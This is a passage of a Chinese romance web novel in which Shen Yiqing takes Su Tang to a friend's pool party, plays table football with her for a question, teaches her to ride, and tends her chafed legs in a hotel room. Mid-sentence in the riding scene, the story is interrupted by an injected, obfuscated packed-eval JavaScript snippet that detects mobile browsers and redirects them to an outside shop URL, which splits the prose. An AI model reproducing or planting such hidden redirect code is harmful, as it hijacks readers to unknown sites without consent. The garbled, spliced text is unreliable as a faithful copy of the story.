第一次见沈逸清在这种场合带女人出来,大家都像见了新鲜事。 饭后转场一群人涌去负一楼。 特意清了场,今天除了陆屿的客人没有外人。 这一层全是娱乐设施,除了一片露天泳池,一旁还有休息区,娱乐区,甚至还有美食区。 陆屿早换了衣服出来,从一开始身边就围了一群水泄不通的美女,还有一圈好友,酒池肉林,人欢马叫,一群人咋咋呼呼的在泳池边玩跳水游戏,还有的拿着水枪相互滋,玩得不亦乐乎。 沈逸清和苏棠下楼来,老远就被陆屿恶作剧一样泼了一身水。 他无奈的转头对着女人笑。 “看吧,我让你多带件备穿的衣服是对的。” 他抬眼扫了一圈才发现更衣室,看了眼苏棠身前湿掉的衬衣,下意识牵着人往那边带。 手冷不丁被温暖的大掌包围,苏棠愣了两秒才发现,他们现在的动作实在是暧昧,好像一对谈恋爱的情侣。 灯光下,两道交叠的影子投在地上,不分你我。 脸没来由的发烫,她不露声色的低下头,只一味的跟随他的脚步。 男女更衣室并不分开,每个隔间都有单独的挡板隔成一个小房间。 苏棠将手里的袋子推进储物柜,从里面摸出那套红色格子泳衣。 那纸袋就是买衣服时柜台附送的袋子,口子大敞开着,沈逸清无意冒犯,却一眼就瞧见了里面还剩的那套衣服。 转眼女人已经拿着衣服进隔间了,他的视线依然久久没有离开。 薄薄的两片布料,泛着丝绸的光泽。 无端的,他想起棋室那天她穿那件腰身镂空的绿裙子,外套下欲遮未遮的两侧皮肤,白的发腻,跟这衣服一个样,勾人,很想让人顺着那处探寻。 夜思。 梦想。 沈逸清的指尖发烫,明明什么也没有,轻轻一捻,仿佛有腻感。 他不着痕迹的挪开眼。 好一会儿,女人才从里面走出来。 分体式的红格子泳衣,上衣是吊带,斜斜的装饰着一个大蝴蝶结,所有该遮的都遮了,下半身的裙子波浪式的修饰,长过腿根,一点不该看的都没有。 很俏皮也很保守的衣服,凸显了身材的同时也显瘦,但颜色不太衬她的肤色。 他将眼神重新锁定那个储物柜,说的话让苏棠脸色泛潮。 “白色更衬你。” 沈逸清看着她笑,态度十分认真。 “为什么不穿白色那套。” 11. 第 11 章 这话米朵也说过。 一想到他看到那套泳衣的款式,苏棠脸上就忍不住开始升温。 “那套.....是朋友硬塞的,不太合适。” 她委婉的表达了不想穿的意思,希望男人能懂。 面前的人噙着笑看她,也不说话,那模样不知为何,苏棠觉得有些痞坏,盯得她不好意思,蓦的,她偏过头,不再和他对视。 沈逸清扫了眼红透的耳垂,忽而又浮现对方上车前那一抹红晕,现在看来十分可疑,想起那白色泳衣,许是被她室友捉弄了,害羞的样子十分有趣。 他勾着唇没说话,转过身进了一旁的更衣间。 苏棠坐在更衣室外间的座椅上等他,视线停留在不远处的泳池,男男女女都穿着清凉,暧昧的打作一团。 陆屿身边围着几个男人,其中有一个是刚把她认错那人。 几人面面相觑不知开了个什么玩笑,陆屿的手忽然伸向身旁的女伴,忽的一下捏在一团浑/圆上。 “是真的!” 陆屿转头冲好友大笑。 这个过分的玩笑并没有惹怒那女人,她只是抬手娇俏的打了一下陆屿的肩膀当做惩罚。 苏棠尴尬的收回视线。 她身材极好,平时穿着朴素,很难显眼,今天这套泳装虽然保守,但毕竟是泳装,她身上的所有女性优势完全暴露无遗,沈逸清虽一向绅士有礼,从没有什么逾矩行为,但想着接下来穿着这身衣服和他相处,心里难免有些扭捏,像个刚进门的小媳妇般别扭。 她心里不自在,坐在椅子上总有小动作,时不时就调调肩带,扯扯裙边。 沈逸清推开更衣室的门就顺着她视线瞧见了泳池边这一幕,许是她有些忌惮那玩笑,连坐着背都有些弓,动作越来越拘谨,不再像刚才在他面前那么自在。 苏棠听到脚步声,转过头。 沈逸清并没有像泳池边那些男人一样穿条沙滩裤或直接裸着上身,苏棠有些意外。 他换上了一条系带宽松灰长裤,上半身是松松泛泛的白色T恤,简简单单又清爽随性的打扮,与平时严肃板正的样子相差甚远,多了一丝平易近人,甚至有点居家的味道,并且看样子也不准备下水。 苏棠有些好奇。 “你穿这个?” 沈逸清看着她笑,语气耐人寻味。 “怎么、不行吗?” 这语气,不免让苏棠想起他当初看到自己和秦诗的对话和那些裸露的男模照片,以为她在期待什么,赶紧解释。 “没。” 太慌张,倒有些此地无银三百两的意思。 沈逸清盯着人,又是那种令苏棠感到心慌又暧昧的眼神,专注的审视像要把人看穿个洞。 “你.....是不是在期待着什么?” ‘唰’的一下,苏棠的脸直接爆红。 “没!我才没有。” 躲他似的,说完就往外走。 身后,传来男人重重的闷笑声。 苏棠耳热又恼,他为什么老是喜欢这么逗她,这件事是不是就翻不了篇了! 两人并肩走出更衣室,沈逸清远远看了眼泳池里吵闹的人群,并没有过去的意思,岸边的娱乐区有供人娱乐的桌游,他看了一眼突然来了兴趣。 桌面足球。 这东西苏棠没有玩过,也不懂规则,她看了一眼沈逸清,有些求助的意思。 收到求救信号,男人低笑一声,慢慢的靠近她,却是从身后围过来,贴着她身后站。 下一秒,带着温度的手掌就覆上来,拉住她的手,一如教她打台球那天。 “这个不比台球,没那么复杂” 男人虚虚的圈着她,低沉磁性的嗓音在耳边慢慢响起,既温柔又耐心十足,像是有一种牵引人的魔力,让人忍不住沉溺进去。 “看到那个小球没,你只用转动边缘的球杆,操作上面的小人踢中它,保证进球就行,没什么技巧,就是要眼快手快。” 他捉住她的手,手拿把掐的示范一遍。 “瞄准目标,然后........”他突然顿一下,偏头看苏棠,逐字“一—击—即—中。” 那表情似乎不太像是在说球,而是其他什么似是而非的东西。 或许是这里面空调开得足,苏棠穿着清凉,却觉得脸颊在发烫。 脑中混混沌沌浆糊似的,似懂非懂不受控的点了点头,不着痕迹的从他怀里出来。 “懂了?”沈逸清笑看着人。 苏棠嗯了一声。 “你确定?” 男人总是用那种专注认真的眼神看她,像用情至深的眸。 “待会可要认真,再小的比赛也有赌注的,输了可别用不会当借口耍赖。” 耍赖? 她才不会。 但是赌注.... 苏棠一愣,不免想到他和她下围棋那天。 她紧盯桌面,手里紧捏着把手,如临大敌。 不过,沈逸清这次提出的赌注倒很简单很明白。 他说。 输的人要回答赢的人一个问题。 三局两胜,不出意外的不出意外,苏棠最后当然是输的那一个。 沈逸清笑吟吟的站在对面,像只老谋深算的狐狸慢慢露出獠牙。 苏棠看着他,心里一阵紧张。 男人目光沉沉,四平八稳的模样,生等她煎熬了好一会儿才慢悠悠的开口。 远处有吵闹的人声,他的声音却还是那样清晰的传入了苏棠的耳里。 “你有过几个前男友?” 没由来,苏棠心脏漏了一拍。 ..... 泳池趴过后晚上是沉闷的牌局,苏棠不怎么会玩,只坐在沈逸清身边看,看也看不太懂,后面熬不住,不知道什么时候就趴椅背睡着了。 第二天从床上醒来的时候睁开眼就是一愣。 房间空荡荡,身旁是冰的,这张可以容纳两三人的大床上只有她一人。 她低头看了眼身上的衣服,完好无损,旁边的床头柜上还有她装衣服的袋子,两件泳衣和陆屿浇湿的那套衣服都在里面,她连自己怎么回到房间睡下的都不知道。 她怔怔的坐在床上愣神,像一个待嫁的新娘般手足无措,突然门边传来一阵敲门声。 沈逸清的声音在外面响起,问她醒了没有。 苏棠心跳猛一下快了些,忙起来。 门打开,相较她的慌乱,对方倒是姿态悠闲,穿戴整齐的站在门口对她笑。 “给你发消息你没回,但是没办法,今天还有行程,不然就容你多睡会了。” 苏棠拿起手机,里面果然有几条他发来的消息。 似乎是怕打扰她睡觉,即便问了好几回,也没有打电话催促。 在过来敲门之前,她猜他应该是耐着性子等了很久。 苏棠脸一红,有些不好意思,突然想起什么,问他。 “昨晚.....” 沈逸清笑,很直白。 “我抱你回来的。” 他上下打量她一阵,打趣。 “放心,不重,没累着。” 后面这句有些暧昧,苏棠紧咬着唇脸发热,躲他一样,侧身进了洗漱间。 昨天乱七八糟的人散了不少,到了马场的时候陆屿已经在那里了。 他身下骑着一匹黑马,毛色发亮,苏棠对这些东西没有研究,只觉得那马看起来就和一般的不一样。 陆屿看见两人进来,在马背上微微弯下身拍了拍马脖子,偏头问沈逸清,语气有些炫耀。 “怎么样!昨儿才提来的,七岁半的FEI120级别荷兰温血,三蹄踏雪,176的肩高,配我还成吧!” 沈逸清看了他一眼,有赞赏,但更多的是担忧。 “调教好没,还没熟悉,也不怕掀了你。” 似乎是为了响应他这话,那马的后蹄跃跃欲试的在原地踩踏起来,有些狂躁。 陆屿估计有一米八六的身高,上马后比例完美,他嘴里说那些话苏棠没听懂几句,倒是那句三蹄踏雪懂了些,她低头,马的三只足色都是白色,只有一只是黑的。 陆屿在马背上神气十足。 “我一个有教练证的人还怕它一个畜生颠儿了我!” 沈逸清偏头冲苏棠宠溺的笑。 “你们陆总驯马有一手,你要不要看看热闹。” 苏棠没瞧过,当下来了兴趣,好奇的盯着陆屿,有些试探的意味。 “可以吗?” 沈逸清笑着看向陆屿。 “表演一个。” 陆屿也乐在其中,猛的一勒缰绳掉了个头。 “瞧好了!” 他夹着马肚奔腾向前,马飞如箭,单手甩着鞭子威吓,可那马神情癫狂,颠簸的动作嚣张,几次试图将他摔下来都没有成功,到了障碍前,陆屿挽缰绳,可那马不越过去,猛然一下刹住蹄子,长长的马脖子突然往下深深的弯下去,前蹄跪下来,半个马背都往前倾。 陆屿本来就因为惯性动整个身子都往前冲,这下被它捉弄一道,不得已双手撑着马背,猛地一下从马头上跳下来。 好在他反应快,动作专业及时,不然当场就要被摔坏脚踝。 沈逸清在一旁看得大笑,苏棠少有见他这幅放松的样子。 “我就说它要把你颠儿了,这好马都有怪脾气,它还不认你是它的主人,我看今天跑滩你还是换匹马,别半道上出岔子。” 苏棠也想笑,但是脆生生憋住,沈逸清看她那副模样于心不忍,拍拍她肩膀。 “想笑就笑,机会难得。” 陆屿少有这样出丑的时候,站在马身边骂骂咧咧。 一场闹剧刚完,身后有工作人员牵了两匹马进来,沈逸清过去接过其中一只的缰绳,叫苏棠。 “过来。” 男人定定的瞧她,那副模样认真极了。 苏棠懂他什么意思,一下有些心慌和害怕,有了刚才陆屿这一出后,她连忙摇头,怎么也不肯上马,浑身写满拒绝。 沈逸清耐着性子走过来牵住她的手,拉着她走去马身边。 “别怕,我早替你挑好,这马训过,也温顺,不会把你怎么样。” 话虽这样说,但苏棠踩马镫上背的时候心里还是有些紧张,整个人伏在马背上,心里发怵,后背直冒冷汗,深怕马把她摔下来。 “直起身!” 男人略显硬气的嗓音一下从下面传来,苏棠深深俯着身,脸快擦在马背上,偏头看他一眼,死命摇了摇头,就是不肯,表情甚至有些讨饶的意味,可怜极了,像是要哭。 一旁的教练想要上前,被沈逸清摆手拒绝。 下一秒,男人飞身上马,坐到了她的背后。 不等苏棠反应过来,腰侧一左一右突然多了两道温烫的热源。 有些痒,苏棠下意识的扭了扭,想躲,忽的,又被他强硬按住。 “别动!” 苏棠只得强忍着,男人的大掌安全感十足,扶着她的腰引着她慢慢坐直,挽过缰绳塞进她的掌心,顺带又紧紧握住她的双手。 因为马鞍的缘故,俩人不得不紧贴在一起。 男人的胸膛紧贴着她的后背,亲密得仿佛她能感受到他心跳的力度,这姿势,倒像是他暧昧的抱着她,渐渐的,苏棠由刚才的冷汗变成了热汗。 蓦的,手里的绳子微动,马蹄动了。 沈逸清的下巴似有似无的擦过她的耳廓,带着温度的呼吸忽重忽轻的打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747762|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她的脸颊。 “马这东西呢,就是欺软怕硬,你放松些,别让它感觉到你的紧张,不然就要欺负你了。” 说完微低下头来看她的眼睛,因他弯腰的动作,两人挨得更近,苏棠看见他纤长的睫毛,这男人,有一双深邃勾人的眼睛。 他轻轻的问她。 “你想它欺负你吗。” 马场四周空旷,有微风。 苏棠顿了一秒,有些不好意思,紧抿着唇摇了摇头。 男人低沉的闷笑一声,苏棠害羞又难堪,不知道他是不是在打趣她这幅没骨气的模样,下一秒,男人双腿轻夹了下马肚,苏棠一下感到周围的景色缓缓移动起来。 马身慢慢在走,男人随着它的节奏压着浪,胸膛似有似无的撞击着苏棠的后背。 感受到她的僵硬,他伸手拍了拍她紧绷的腿。 “脚尖不要朝着马肚子,想象一下骑自行车时的动作。” 他包裹着她的手,教她收了收缰绳。 “缰绳也不要太长,容易控制不了马、左右不了方向,这个长度就很适合。” 他又拍了拍她的背。 “挺直,看着你想要马去的方向。” 苏棠被他箍在怀里大气也不敢出,在马场里溜达一阵,渐渐找到了些感觉,腰才渐渐直了起来。 沈逸清有趣的看着怀里毛茸茸的脑袋越来越高,察觉到她已经不再害怕,低笑一声。 “看,其实也没有那么难,对吧。” 他的声音变得打趣。 “咱们棠棠小姐,还是需要自信起来啊,相信自己,不要老是害怕,你只要记住,是你骑马,不是马骑你,保持住平衡,不要乱,马自然就会按照你的意思去行进。” 沈逸清说完这话猝不及防用力地一夹马肚,速度猛地变快,苏棠猝不及防,啊!的大叫一声,身子不受控的往后一仰,实打实的撞进沈逸清的胸膛。 耳边一声低笑,沈逸清没有停下来,却将人抱得更紧,他带着人改为一路小跑,直等到她彻底适应后才勒住缰绳,翻身下马仰头看着她。 “好了!你自己试试!” 说完将缰绳递到苏棠手里,又低头挨近。 他伸手温柔的握住她的脚跟,往脚蹬里又送进一段距离,随后轻轻拍了拍她的脚背,抬头时眼神全是鼓励。 “去吧。” “跑一圈,我看着你。” 就这样,沈逸清亲力亲为的陪着苏棠在马场里耗了一上午,苏棠以为这就是结束的时候,吃过午饭,居然还有下半场。 主场原不在马场里,而在马场周边的一处小河滩,昨天陆屿的朋友还剩些,大家一起组了队野骑跑滩。 苏棠一路上跟着沈逸清落在最后,几个小时下来已经浑身疼。 腰、胳膊、大腿、小腿和屁/股.....更疼,似乎是被磨的,她经验不多,也没带护腿,就这么一天下来疼的够呛。 她在酒店房间梭/哈抽气的时候门外突然响起一阵门铃。 沈逸清站在门口,手里拿了个半寸大的药盒子,轻车熟路般,他进门转身关了门,随着女人挪到床边。 “严重吗,我看看。” 视线落在她小腿处,今晚吃饭的时候他就察觉她走路动作有些异常。 苏棠咬咬牙,弯下腰小心翼翼的卷裤腿。 白皙的肌肤已经通红一片,侧边靠近马肚的那一片已经破了皮。 沈逸清扭开药盖子食指一转,沾了药膏抬头看着坐在床沿的女人笑。 “第一次是这样的,以后多骑就好了。” 以后多骑? 苏棠叫苦连天,心想,还是算了。 小腿上的食指轻轻柔柔的滑动,冰冰凉凉又带着若有若无的酥痒,苏棠呼吸莫名有些急促,被疼的,酒店的暖黄色灯光昏昏暗暗的洒在两人身上,暧昧的因子总在空气中若有若无的浮动。 屋里静静的,她的呼吸逐渐乱得有些明显。 沈逸清表情认真,动作没有一丝不适,模样也正经极了,苏棠垂眸看着人,心却和呼吸一样有些乱。 她从未和任何男人如此陌生又亲密过,心底满是别扭。 沈逸清抹药的动作温柔,自认没有弄疼她,可听着若有若无的抽气声,还是将动作轻了又轻,但面前的一截白皙小腿似乎有些拘谨,总是喜欢往后躲,下意识有避他的意思。 一下,向后挪了一寸,他没在意,紧追。 二下,又向后挪了一寸,他蹲着身子不得不往前靠了一步。 三下,又躲,直退到床沿下面去。 沈逸清终于没忍住。 下一秒,苏棠的脚腕握上股霸道的力量,她的脚踝被他强硬的拉出来,死死的按在他面前。 动作温柔却又不容拒绝。 “别乱动。” 沈逸清看着手里被他捏红的肌肤,低声无奈的笑。 “不然待会儿会擦着伤口,我不想弄疼你。” 苏棠屁/股疼得慌,反手撑在床面梗着脖子,煎熬的等了好一阵,男人的动作才算完,终于松一大口气。 见人站起来,她猜着他即将离开,紧绷的心松弛下来,还不等她道谢,男人低沉磁实的声音又响起。 酒店内橘黄的灯光打在两人身上,在地上投射/出两道纠缠的影子,模糊又暧昧。 男人像是看透了她,站在床尾一动不动,丝毫没有要离开的意思。 “还有没有哪里疼需要擦?” 下一刻—— “掀起来我看看。” 认认真真的语气丝毫不像玩笑。 苏棠如临大敌,顷刻间,她听到自己如鼓点般失控的心跳声。 寂静的夜,仿佛一触即燃。 ....